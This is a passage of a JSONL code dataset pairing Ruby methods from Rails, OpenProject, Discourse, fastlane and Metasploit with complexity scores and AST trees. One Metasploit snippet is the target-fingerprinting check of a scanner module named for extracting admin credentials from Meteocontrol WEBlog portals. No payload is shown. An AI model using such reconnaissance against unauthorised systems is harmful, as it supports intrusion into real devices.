end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transactions_state_from_rollback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"lease_connection\"]}]},{\"type\":\"lvasgn\",\"children\":[\"transaction\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConnectionAdapters\"]},\"TransactionManager\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"connection\"]}]},\"begin_transaction\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"transaction\"]},{\"type\":\"sym\",\"children\":[\"open?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"state\"]},{\"type\":\"sym\",\"children\":[\"rolledback?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"state\"]},{\"type\":\"sym\",\"children\":[\"committed?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"rollback\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"state\"]},{\"type\":\"sym\",\"children\":[\"rolledback?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transaction\"]},\"state\"]},{\"type\":\"sym\",\"children\":[\"committed?\"]}]}]}]}","id":"6201770e-87db-4cad-8141-cdd41c344f46"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":180,"raw_source":"def test_required_belongs_to_config\n    original_value = ActiveRecord::Base.belongs_to_required_by_default\n    ActiveRecord::Base.belongs_to_required_by_default = true\n\n    model = Class.new(ActiveRecord::Base) do\n      self.table_name = \"accounts\"\n      def self.name; \"Temp\"; end\n      belongs_to :company\n    end\n\n    account = model.new\n    assert_not_predicate account, :valid?\n    assert_equal [{ error: :blank }], account.errors.details[:company]\n  ensure\n    ActiveRecord::Base.belongs_to_required_by_default = original_value\n  end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_required_belongs_to_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"belongs_to_required_by_default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"belongs_to_required_by_default=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"str\",\"children\":[\"accounts\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Temp\"]}]},{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"sym\",\"children\":[\"company\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"account\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"account\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"sym\",\"children\":[\"blank\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"errors\"]},\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"company\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"belongs_to_required_by_default=\",{\"type\":\"lvar\",\"children\":[\"original_value\"]}]}]}]}","id":"231b3005-53de-4875-9e15-3a2852b88a71"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_sections/backlogs/header_component.rb","start_line":84,"raw_source":"def add_agenda_item_action(menu)\n      menu.with_item(\n        label: t(\"label_agenda_item_add\", count: 1),\n        href: new_meeting_agenda_item_path(@meeting, type: \"simple\", meeting_section_id: @backlog.id,\n                                                     current_occurrence: @current_occurrence),\n        content_arguments: {\n          data: { \"turbo-stream\": true, \"test-selector\": \"meeting-backlog-add-agenda-item-from-menu\" }\n        }\n      ) do |item|\n        item.with_leading_visual_icon(icon: :plus)\n      end\n    end","complexity_score":7.25,"ast_json":"{\"type\":\"def\",\"children\":[\"add_agenda_item_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_agenda_item_add\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"new_meeting_agenda_item_path\",{\"type\":\"ivar\",\"children\":[\"@meeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"simple\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meeting_section_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@backlog\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_occurrence\"]},{\"type\":\"ivar\",\"children\":[\"@current_occurrence\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"turbo-stream\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test-selector\"]},{\"type\":\"str\",\"children\":[\"meeting-backlog-add-agenda-item-from-menu\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"plus\"]}]}]}]}]}]}","id":"d87c837b-943f-424e-93a9-523c6234f5c1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/embeddable_hosts_controller.rb","start_line":62,"raw_source":"def manage_tags(host, tags)\n    if tags.blank?\n      host.tags.clear\n      return\n    end\n\n    existing_tags = Tag.where(name: tags).index_by(&:name)\n    tags_to_associate = []\n\n    tags.each do |tag_name|\n      tag = existing_tags[tag_name] || Tag.create(name: tag_name)\n      if tag.persisted?\n        tags_to_associate << tag\n      else\n        host.errors.add(:tags, \"Failed to create or find tag: #{tag_name}\")\n        raise ActiveRecord::Rollback\n      end\n    end\n\n    host.tags = tags_to_associate\n  end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"manage_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"tags\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"tags\"]},\"clear\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"existing_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags_to_associate\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tags\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags_to_associate\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to create or find tag: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"tags=\",{\"type\":\"lvar\",\"children\":[\"tags_to_associate\"]}]}]}]}","id":"03e3aed4-5b58-4637-857b-499716e3eb00"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/code_signing_mapping.rb","start_line":101,"raw_source":"def detect_configuration_for_archive\n      extract_from_scheme = lambda do\n        if self.project.workspace?\n          available_schemes = self.project.workspace.schemes.reject { |k, v| v.include?(\"Pods/Pods.xcodeproj\") }\n          project_path = available_schemes[Gym.config[:scheme]]\n        else\n          project_path = self.project.path\n        end\n\n        if project_path\n          scheme_path = File.join(project_path, \"xcshareddata\", \"xcschemes\", \"#{Gym.config[:scheme]}.xcscheme\")\n          Xcodeproj::XCScheme.new(scheme_path).archive_action.build_configuration if File.exist?(scheme_path)\n        end\n      end\n\n      configuration = Gym.config[:configuration]\n      configuration ||= extract_from_scheme.call if Gym.config[:scheme]\n      configuration ||= self.project.default_build_settings(key: \"CONFIGURATION\")\n      return configuration\n    end","complexity_score":55.3,"ast_json":"{\"type\":\"def\",\"children\":[\"detect_configuration_for_archive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extract_from_scheme\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project\"]},\"workspace?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"available_schemes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project\"]},\"workspace\"]},\"schemes\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Pods/Pods.xcodeproj\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_schemes\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheme\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project\"]},\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_path\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scheme_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"project_path\"]},{\"type\":\"str\",\"children\":[\"xcshareddata\"]},{\"type\":\"str\",\"children\":[\"xcschemes\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheme\"]}]}]},{\"type\":\"str\",\"children\":[\".xcscheme\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"scheme_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Xcodeproj\"]},\"XCScheme\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"scheme_path\"]}]},\"archive_action\"]},\"build_configuration\"]},null]}]},null]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"configuration\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scheme\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configuration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extract_from_scheme\"]},\"call\"]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configuration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project\"]},\"default_build_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"CONFIGURATION\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configuration\"]}]}]}]}","id":"a1fa2ee4-e697-4f22-9b8f-99cce9498b64"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/logger_test.rb","start_line":416,"raw_source":"def test_temporarily_logging_at_a_noisier_level\n    @logger.level = Logger::INFO\n\n    @logger.debug \"NOT THERE\"\n\n    @logger.log_at Logger::DEBUG do\n      @logger.debug \"THIS IS HERE\"\n    end\n\n    @logger.debug \"NOT THERE\"\n\n    assert_not_includes @output.string, \"NOT THERE\"\n    assert_includes @output.string, \"THIS IS HERE\"\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_temporarily_logging_at_a_noisier_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"INFO\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"NOT THERE\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"log_at\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"DEBUG\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"THIS IS HERE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"NOT THERE\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output\"]},\"string\"]},{\"type\":\"str\",\"children\":[\"NOT THERE\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@output\"]},\"string\"]},{\"type\":\"str\",\"children\":[\"THIS IS HERE\"]}]}]}]}","id":"4cf997eb-1ac6-4136-ad0e-efd063136af0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb","start_line":55,"raw_source":"def is_app_metweblog?\n    begin\n      res = send_request_cgi({\n        'uri' => '/html/en/index.html',\n        'method' => 'GET'\n      })\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError\n      print_error(\"#{rhost}:#{rport} - HTTP Connection Failed...\")\n      return false\n    end\n\n    if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?(\"WEB'log\")))\n      print_good(\"#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...\")\n      return true\n    else\n      print_error(\"#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.\")\n      return false\n    end\n  end","complexity_score":34.05,"ast_json":"{\"type\":\"def\",\"children\":[\"is_app_metweblog?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/html/en/index.html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - HTTP Connection Failed...\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"IS2 Web Server\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"WEB'log\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Running Meteocontrol WEBlog management portal...\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Application does not appear to be Meteocontrol WEBlog. Module will not continue.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"7f9e858b-85d1-4c5a-8da5-296f792a8f43"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":638,"raw_source":"def test_should_count_manual_select_with_include\n    assert_equal 6, Account.select(\"DISTINCT accounts.id\").includes(:firm).count\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_count_manual_select_with_include\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[6]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"select\",{\"type\":\"str\",\"children\":[\"DISTINCT accounts.id\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"firm\"]}]},\"count\"]}]}]}","id":"4bff0c77-1df5-4db7-8b2c-f86f6cfe6116"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/dirty.rb","start_line":372,"raw_source":"def init_internals\n        super\n        @mutations_before_last_save = nil\n        @mutations_from_database = nil\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"init_internals\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@mutations_before_last_save\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutations_from_database\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"6c8461ea-884b-4c32-b76b-6d4dc6540393"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/columns_test.rb","start_line":77,"raw_source":"def test_rename_nonexistent_column\n        exception = if current_adapter?(:PostgreSQLAdapter)\n          ActiveRecord::StatementInvalid\n        else\n          ActiveRecord::ActiveRecordError\n        end\n\n        assert_raise(exception) do\n          rename_column \"test_models\", \"nonexistent\", \"should_fail\"\n        end\n      end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rename_nonexistent_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"PostgreSQLAdapter\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StatementInvalid\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ActiveRecordError\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"str\",\"children\":[\"test_models\"]},{\"type\":\"str\",\"children\":[\"nonexistent\"]},{\"type\":\"str\",\"children\":[\"should_fail\"]}]}]}]}]}","id":"17b0ae7f-d4cd-4e04-98c1-a6a72f93b65b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/outpost24_document.rb","start_line":11,"raw_source":"def start_element(name, attrs)\n    @state[:current_tag][name] = true\n    case name\n    when \"description\", \"information\"\n      return unless in_tag(\"detaillist\")\n      return unless in_tag(\"detail\")\n      record_text\n    when \"detail\"\n      return unless in_tag(\"detaillist\")\n      record_vuln\n    when \"detaillist\"\n      record_vulns\n    when \"host\"\n      return unless in_tag(\"hostlist\")\n      record_host\n    when \"hostlist\"\n      record_hosts\n    when \"id\"\n      return unless in_tag(\"detaillist\")\n      return unless in_tag(\"detail\")\n      return unless in_tag(\"cve\")\n      record_text\n    when \"name\"\n      return unless in_tag(\"hostlist\") || in_tag(\"detaillist\")\n      return unless in_tag(\"host\") || in_tag(\"detail\")\n      record_text\n    when \"platform\"\n      return unless in_tag(\"hostlist\")\n      return unless in_tag(\"host\")\n      record_text\n    when \"portinfo\"\n      return unless in_tag(\"portlist\")\n      return unless in_tag(\"portlist-host\")\n      record_service\n    when \"portlist\"\n      record_services\n    when \"portnumber\", \"protocol\", \"service\"\n      return unless in_tag(\"portlist\")\n      return unless in_tag(\"portlist-host\")\n      return unless in_tag(\"portinfo\")\n      record_text\n    when \"report\", \"ip\"\n      record_text\n    end\n  